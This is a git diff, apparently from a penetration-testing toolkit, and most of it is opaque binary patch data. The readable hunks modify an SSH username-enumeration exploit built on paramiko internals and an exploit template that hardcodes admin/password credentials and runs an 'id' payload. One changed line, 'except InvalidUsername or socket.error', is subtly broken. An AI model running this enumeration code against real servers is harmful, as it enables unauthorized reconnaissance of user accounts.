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 literal 0 HcmV?d00001 diff --git a/ssh-check-username.py b/ssh-check-username.py index e246540..95d8676 100755 --- a/ssh-check-username.py +++ b/ssh-check-username.py @@ -26,9 +26,7 @@ class InvalidUsername(Exception): def add_boolean(*args, **kwargs): pass - -old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[ - paramiko.common.MSG_SERVICE_ACCEPT] +old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] def service_accept(*args, **kwargs): paramiko.message.Message.add_boolean = add_boolean @@ -55,14 +53,14 @@ def _paramiko_tunnel(username, *args, **kwargs): return try: transport.auth_publickey(us, paramiko.RSAKey.generate(2048)) - except InvalidUsername: + except InvalidUsername or socket.error: print ('[*] {} - Invalid username'.format(us)) except paramiko.ssh_exception.AuthenticationException: print ('[+] {} - Valid username'.format(us)) return -paramiko.auth_handler.AuthHandler._handler_table.update({ +paramiko.auth_handler.AuthHandler._client_handler_table.update({ paramiko.common.MSG_SERVICE_ACCEPT: service_accept, paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure }) @@ -81,7 +79,3 @@ if args.wordlist is not None: for u in f: usernames.append(u) pool.map(_paramiko_tunnel, usernames) - - - - diff --git a/template.py b/template.py index ed64fb9..b8c1364 100755 --- a/template.py +++ b/template.py @@ -16,6 +16,8 @@ from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) BASE_URL = "%s" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337" +USERNAME = "admin" +PASSWORD = "password" def login(username, password): # Template method to create a session @@ -32,7 +34,7 @@ def exploit(session, payload): pass if __name__ == "__main__": - session = login() + session = login(USERNAME, PASSWORD) exploit(session, "id") """ % baseUrl diff --git a/win/accesschk.exe b/win/accesschk.exe index 74f038b0fe307c022a8f4c8840abb828564d253b..6fc4abf5b5aa01c25e33c0e46ab432d2c2e8885b 100644 GIT binary patch delta 194872 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 